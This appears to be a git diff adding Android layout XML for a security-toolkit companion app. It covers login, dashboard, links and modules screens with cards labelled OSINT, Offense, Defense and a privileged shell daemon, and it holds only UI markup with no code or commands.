<!-- Auto-detect button -->
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_login_detect"
|
||||||
|
style="@style/Widget.MaterialComponents.Button.TextButton"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="AUTO-DETECT"
|
||||||
|
android:textColor="@color/primary"
|
||||||
|
app:layout_constraintBottom_toBottomOf="@id/layout_port"
|
||||||
|
app:layout_constraintEnd_toEndOf="parent"
|
||||||
|
app:layout_constraintTop_toTopOf="@id/layout_port" />
|
||||||
|
|
||||||
|
<!-- Login button -->
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_login"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginTop="24dp"
|
||||||
|
android:text="LOGIN"
|
||||||
|
android:textSize="16sp"
|
||||||
|
app:layout_constraintEnd_toEndOf="parent"
|
||||||
|
app:layout_constraintStart_toStartOf="parent"
|
||||||
|
app:layout_constraintTop_toBottomOf="@id/layout_port" />
|
||||||
|
|
||||||
|
<!-- Status message -->
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/login_status"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginTop="16dp"
|
||||||
|
android:gravity="center"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="13sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
app:layout_constraintEnd_toEndOf="parent"
|
||||||
|
app:layout_constraintStart_toStartOf="parent"
|
||||||
|
app:layout_constraintTop_toBottomOf="@id/btn_login" />
|
||||||
|
|
||||||
|
<!-- Skip/offline button at bottom -->
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_login_skip"
|
||||||
|
style="@style/Widget.MaterialComponents.Button.TextButton"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="SKIP (OFFLINE MODE)"
|
||||||
|
android:textColor="@color/text_muted"
|
||||||
|
android:textSize="12sp"
|
||||||
|
app:layout_constraintBottom_toBottomOf="parent"
|
||||||
|
app:layout_constraintEnd_toEndOf="parent"
|
||||||
|
app:layout_constraintStart_toStartOf="parent" />
|
||||||
|
|
||||||
|
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||||
33
autarch_companion/app/src/main/res/layout/activity_main.xml
Normal file
33
autarch_companion/app/src/main/res/layout/activity_main.xml
Normal file
@ -0,0 +1,33 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<androidx.constraintlayout.widget.ConstraintLayout
|
||||||
|
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:background="@color/background">
|
||||||
|
|
||||||
|
<androidx.fragment.app.FragmentContainerView
|
||||||
|
android:id="@+id/nav_host_fragment"
|
||||||
|
android:name="androidx.navigation.fragment.NavHostFragment"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="0dp"
|
||||||
|
app:defaultNavHost="true"
|
||||||
|
app:layout_constraintBottom_toTopOf="@id/bottom_nav"
|
||||||
|
app:layout_constraintEnd_toEndOf="parent"
|
||||||
|
app:layout_constraintStart_toStartOf="parent"
|
||||||
|
app:layout_constraintTop_toTopOf="parent"
|
||||||
|
app:navGraph="@navigation/nav_graph" />
|
||||||
|
|
||||||
|
<com.google.android.material.bottomnavigation.BottomNavigationView
|
||||||
|
android:id="@+id/bottom_nav"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:background="@color/surface"
|
||||||
|
app:itemIconTint="@color/nav_item_color"
|
||||||
|
app:itemTextColor="@color/nav_item_color"
|
||||||
|
app:layout_constraintBottom_toBottomOf="parent"
|
||||||
|
app:layout_constraintEnd_toEndOf="parent"
|
||||||
|
app:layout_constraintStart_toStartOf="parent"
|
||||||
|
app:menu="@menu/bottom_nav" />
|
||||||
|
|
||||||
|
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||||
225
autarch_companion/app/src/main/res/layout/fragment_dashboard.xml
Normal file
225
autarch_companion/app/src/main/res/layout/fragment_dashboard.xml
Normal file
@ -0,0 +1,225 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<ScrollView
|
||||||
|
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:background="@color/background"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical">
|
||||||
|
|
||||||
|
<!-- Header -->
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="@string/dashboard_title"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="24sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="16dp" />
|
||||||
|
|
||||||
|
<!-- Server Discovery Section -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="12dp"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="@string/server_discovery"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="12dp" />
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:gravity="center_vertical"
|
||||||
|
android:layout_marginBottom="4dp">
|
||||||
|
|
||||||
|
<View
|
||||||
|
android:id="@+id/discovery_status_dot"
|
||||||
|
android:layout_width="10dp"
|
||||||
|
android:layout_height="10dp"
|
||||||
|
android:background="@color/status_offline"
|
||||||
|
android:layout_marginEnd="8dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/discovery_status_text"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="@string/discovery_idle"
|
||||||
|
android:textColor="@color/text_primary"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:textSize="14sp" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/discovery_method_text"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="@string/discovery_methods"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:layout_marginBottom="8dp" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_discover"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="@string/scan_network"
|
||||||
|
android:textColor="@color/background"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
app:backgroundTint="@color/terminal_green"
|
||||||
|
app:cornerRadius="4dp" />
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<!-- Connection Status -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="12dp"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Connection Status"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="12dp" />
|
||||||
|
|
||||||
|
<!-- Privilege -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:gravity="center_vertical"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<View
|
||||||
|
android:id="@+id/privilege_status_dot"
|
||||||
|
android:layout_width="10dp"
|
||||||
|
android:layout_height="10dp"
|
||||||
|
android:background="@color/status_offline"
|
||||||
|
android:layout_marginEnd="8dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/privilege_status_text"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Privilege: checking..."
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:textSize="13sp" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- Server -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:gravity="center_vertical"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<View
|
||||||
|
android:id="@+id/server_status_dot"
|
||||||
|
android:layout_width="10dp"
|
||||||
|
android:layout_height="10dp"
|
||||||
|
android:background="@color/status_offline"
|
||||||
|
android:layout_marginEnd="8dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/server_status_text"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Server: checking..."
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:textSize="13sp" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- WireGuard -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:gravity="center_vertical">
|
||||||
|
|
||||||
|
<View
|
||||||
|
android:id="@+id/wg_status_dot"
|
||||||
|
android:layout_width="10dp"
|
||||||
|
android:layout_height="10dp"
|
||||||
|
android:background="@color/status_offline"
|
||||||
|
android:layout_marginEnd="8dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/wg_status_text"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="@string/wg_checking"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:textSize="13sp" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<!-- Output Log -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
app:cardBackgroundColor="@color/surface_dark"
|
||||||
|
app:cardCornerRadius="8dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/output_log"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:minHeight="80dp"
|
||||||
|
android:padding="12dp"
|
||||||
|
android:text="@string/ready"
|
||||||
|
android:textColor="@color/terminal_green_dim"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:scrollbars="vertical" />
|
||||||
|
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
</ScrollView>
|
||||||
284
autarch_companion/app/src/main/res/layout/fragment_links.xml
Normal file
284
autarch_companion/app/src/main/res/layout/fragment_links.xml
Normal file
@ -0,0 +1,284 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<ScrollView
|
||||||
|
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:background="@color/background"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="@string/links_title"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="24sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="8dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/server_url_label"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="@string/server_url_placeholder"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:layout_marginBottom="16dp" />
|
||||||
|
|
||||||
|
<!-- Row 1: Dashboard, WireGuard -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:id="@+id/card_dashboard"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="100dp"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:layout_marginEnd="4dp"
|
||||||
|
android:clickable="true"
|
||||||
|
android:focusable="true"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:gravity="center"
|
||||||
|
android:text="@string/link_dashboard"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="14sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:id="@+id/card_wireguard"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="100dp"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:layout_marginStart="4dp"
|
||||||
|
android:clickable="true"
|
||||||
|
android:focusable="true"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:gravity="center"
|
||||||
|
android:text="@string/link_wireguard"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="14sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- Row 2: Shield, Hardware -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:id="@+id/card_shield"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="100dp"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:layout_marginEnd="4dp"
|
||||||
|
android:clickable="true"
|
||||||
|
android:focusable="true"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:gravity="center"
|
||||||
|
android:text="@string/link_shield"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="14sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:id="@+id/card_hardware"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="100dp"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:layout_marginStart="4dp"
|
||||||
|
android:clickable="true"
|
||||||
|
android:focusable="true"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:gravity="center"
|
||||||
|
android:text="@string/link_hardware"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="14sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- Row 3: Wireshark, OSINT -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:id="@+id/card_wireshark"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="100dp"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:layout_marginEnd="4dp"
|
||||||
|
android:clickable="true"
|
||||||
|
android:focusable="true"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:gravity="center"
|
||||||
|
android:text="@string/link_wireshark"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="14sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:id="@+id/card_osint"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="100dp"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:layout_marginStart="4dp"
|
||||||
|
android:clickable="true"
|
||||||
|
android:focusable="true"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:gravity="center"
|
||||||
|
android:text="@string/link_osint"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="14sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- Row 4: Defense, Offense -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:id="@+id/card_defense"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="100dp"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:layout_marginEnd="4dp"
|
||||||
|
android:clickable="true"
|
||||||
|
android:focusable="true"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:gravity="center"
|
||||||
|
android:text="@string/link_defense"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="14sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:id="@+id/card_offense"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="100dp"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:layout_marginStart="4dp"
|
||||||
|
android:clickable="true"
|
||||||
|
android:focusable="true"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:gravity="center"
|
||||||
|
android:text="@string/link_offense"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="14sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- Row 5: Settings (single, full width) -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:id="@+id/card_settings"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="100dp"
|
||||||
|
android:layout_marginBottom="8dp"
|
||||||
|
android:clickable="true"
|
||||||
|
android:focusable="true"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:gravity="center"
|
||||||
|
android:text="@string/link_settings"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="14sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
</ScrollView>
|
||||||
655
autarch_companion/app/src/main/res/layout/fragment_modules.xml
Normal file
655
autarch_companion/app/src/main/res/layout/fragment_modules.xml
Normal file
@ -0,0 +1,655 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<ScrollView
|
||||||
|
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:background="@color/background"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical">
|
||||||
|
|
||||||
|
<!-- Header -->
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="ARCHON MODULES"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="24sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="8dp" />
|
||||||
|
|
||||||
|
<!-- Server Status -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:gravity="center_vertical"
|
||||||
|
android:layout_marginBottom="16dp">
|
||||||
|
|
||||||
|
<View
|
||||||
|
android:id="@+id/server_status_dot"
|
||||||
|
android:layout_width="12dp"
|
||||||
|
android:layout_height="12dp"
|
||||||
|
android:layout_marginEnd="8dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/server_status_text"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Server: checking..."
|
||||||
|
android:textColor="@color/text_primary"
|
||||||
|
android:textSize="14sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- ═══ Archon Server Card ═══ -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="12dp"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<!-- Title row -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:gravity="center_vertical"
|
||||||
|
android:layout_marginBottom="4dp">
|
||||||
|
|
||||||
|
<View
|
||||||
|
android:id="@+id/archon_status_dot"
|
||||||
|
android:layout_width="10dp"
|
||||||
|
android:layout_height="10dp"
|
||||||
|
android:layout_marginEnd="8dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="Archon Server"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/archon_uid_text"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="UID 2000"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Privileged shell daemon — enables modules without root"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="4dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/archon_info_text"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Status: checking..."
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="12dp" />
|
||||||
|
|
||||||
|
<!-- Quick command -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:gravity="center_vertical"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputEditText
|
||||||
|
android:id="@+id/input_archon_cmd"
|
||||||
|
android:layout_width="0dp"
|
